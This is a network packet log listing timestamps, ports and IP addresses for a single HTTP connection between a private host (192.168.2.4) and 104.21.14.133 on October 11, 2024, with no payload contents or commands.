Oct 11, 2024 04:10:43.230288029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230304956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230321884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230344057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230355978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230369091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230389118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230407953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230422020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230437994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230454922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230473042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230488062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230505943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230521917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230537891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230556965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230573893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230592012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230606079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230626106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230644941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230659962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230680943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230694056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230711937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230727911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230746984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230762959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230788946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230794907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230811119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230829000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230839968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230861902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230880022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230896950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230910063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230931044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230946064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230964899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230986118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230997086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231009960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231030941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231050014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231065035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231074095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231098890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231112957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231132030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231153011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231172085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231174946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231257915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231281996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231292009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231308937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231323957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231343031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231358051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231368065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231410027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231412888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231435061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231451035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231466055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231475115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231482029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231498957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231508017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231518030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231524944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231542110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231543064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231560946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.231570959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231570959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231621981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.231621981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316025972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316095114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316108942 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316162109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316190004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316210032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316216946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316252947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316274881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316284895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316323042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316323996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316344976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316375017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316382885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316420078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316427946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316461086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316509008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316512108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316561937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316561937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316596031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316610098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316629887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316646099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316663980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316679001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316705942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316721916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316740990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316759109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316772938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316797018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316806078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316817999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316854954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316857100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316909075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316916943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.316967964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.316968918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317003012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317019939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317037106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317080021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317080021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317087889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317121029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317156076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317168951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317188978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317207098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317240953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317244053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317274094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317297935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317306042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317353010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317357063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317373991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317404985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317414045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317465067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317465067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317513943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317517042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317549944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317599058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317600965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317600012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317631960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317673922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317673922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317681074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317714930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317737103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317747116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317760944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317780972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317795038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317814112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317831039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317847967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317868948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317879915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317890882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317914009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317933083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.317945957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317979097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.317995071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318012953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318026066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318048000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318079948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318099022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318099976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318115950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318120956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318146944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318167925 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318178892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318205118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318212986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318224907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318245888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318268061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318279028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318299055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318311930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318345070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318358898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318377018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318409920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318418026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318439007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318443060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318456888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318476915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318501949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318509102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318523884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318542957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318562031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318574905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318598986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318608046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318640947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318674088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318685055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318706036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318712950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318712950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318741083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318747044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318773985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318793058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318806887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318823099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318840981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318861008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318873882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318892956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318907022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318939924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318941116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318962097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.318973064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.318998098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319006920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319029093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319040060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319057941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319073915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319087029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319108009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319119930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319143057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319178104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319211006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319231987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319231987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319246054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319252968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319279909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319308996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319318056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319334030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319350958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319350958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319415092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319420099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319456100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319473028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319489956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319524050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319535017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319535017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319557905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319578886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319590092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319622993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319628000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319658041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319658041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319679976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319690943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319701910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319725037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319757938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319791079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319791079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319813013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319828033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319849014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319861889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319874048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319894075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319916010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319926977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319941998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319961071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.319982052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.319993973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.320027113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.320060015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.320060968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.320079088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.320092916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.320101976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.320128918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.320138931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.320192099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403472900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403548002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403611898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403645992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403650045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403650045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403700113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403721094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403721094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403736115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403763056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403783083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403789997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403840065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403875113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403893948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403923988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.403943062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403975964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.403976917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404011965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404035091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404058933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404062033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404095888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404113054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404146910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404148102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404197931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404198885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404232979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404249907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404284000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404301882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404335976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404340029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404392958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404489040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404542923 CEST	49733	80	192.168.2.4	104.21.14.133
